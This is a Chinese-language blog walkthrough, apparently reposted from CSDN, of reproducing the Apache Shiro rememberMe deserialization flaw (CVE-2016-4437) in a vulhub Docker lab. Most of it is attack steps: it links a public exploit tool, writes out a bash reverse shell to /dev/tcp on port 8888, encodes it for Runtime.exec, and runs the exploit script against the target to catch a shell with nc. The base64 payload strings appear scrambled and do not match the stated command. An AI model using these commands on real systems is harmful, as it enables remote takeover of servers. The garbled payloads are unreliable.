上篇文章:vulhub学习历程-搭建环境_ID不重要的博客-CSDN博客
关于Shiro反序列化CVE-2016-4437的复现 原理引用“CVE-2016-4437 (vulners.com)”
Shiro组件对rememberMe功能的cookie在cookieRememberMeManaer类中将cookie中rememberMe字段内容分别进行序列化、AES加密、base64编码 *** 作。然后用户在请求网站时,shiro又会在识别身份的时候,对cookie里的rememberMe字段反向解密。
根据加密的顺序,相等于知道解密的顺序,并且AES加密的密钥Key被硬编码在代码里,同时大部分程序员在使用github上提供的程序时和shiro组件时并未更换Key,导致每个人都可以收集Key来遍历目标系统所使用的密钥,最终导致了反序列化漏洞。
使用卡片中地址的脚本进行测试
GitHub - insightglacier/Shiro_exploit: Apache Shiro 反序列化漏洞检测与利用工具https://github.com/insightglacier/Shiro_exploit
启用环境根据上篇文章进行后续 *** 作,进入跟目录下,启用docker即可
# cd CVE-2016-4437/ #进入漏洞环境目录 # docker-compose up -d #启用环境
web访问https://IP:8080,并打开Remember me功能。至此,环境启用成功(这里就不进行漏洞探测了,漏洞探测的过程可以自行寻找POC脚本,或者BP抓包查看返回包中是否存在rememberme delete)
攻击机环境准备1、python3
2、java8
测试此漏洞需要攻击机具备java8的环境,我这里使用jdk-8u202-linux-x64,自行去官网下载即可
执行反dshell命令由于服务器编码问题,将shell命令进行编码,编码网址为,编码完成后备用。
java.lang.Runtime.exec() Payload Workarounds - @Jackson_Thttps://www.jackson-t.ca/runtime-exec-payloads.html
bash -i >& /dev/tcp/1.1.1.1/8888 0>&1 经过编码后得到 bash -c {echo,YmFzaCAtaSA+JiAvVDSFVDFVDFVSFVSDVLjADADASDFADFSFGAVCADFGVERGBRTYNERBGVRTBREBERQ==}|{base64,-d}|{bash,-i}
攻击机开启两个shell
窗口一执行nc监听
窗口二执行payload相关命令,IP地址自行替换,这时备用的经过编码的payload可填入最后双引号中,如代码段所示
root@VM-0-8-ubuntu:/home/Shiro_exploit-master# python3 shiro_exploit.py -t 3 -u http://1.1.1.1:8080 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcCasdasdasdasdasdafasdfasdvSDsdsadsfgWRGWRGDSDfasdfQ==}|{base64,-d}|{bash,-i}"反d成功
攻击机接收到反d的shell
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)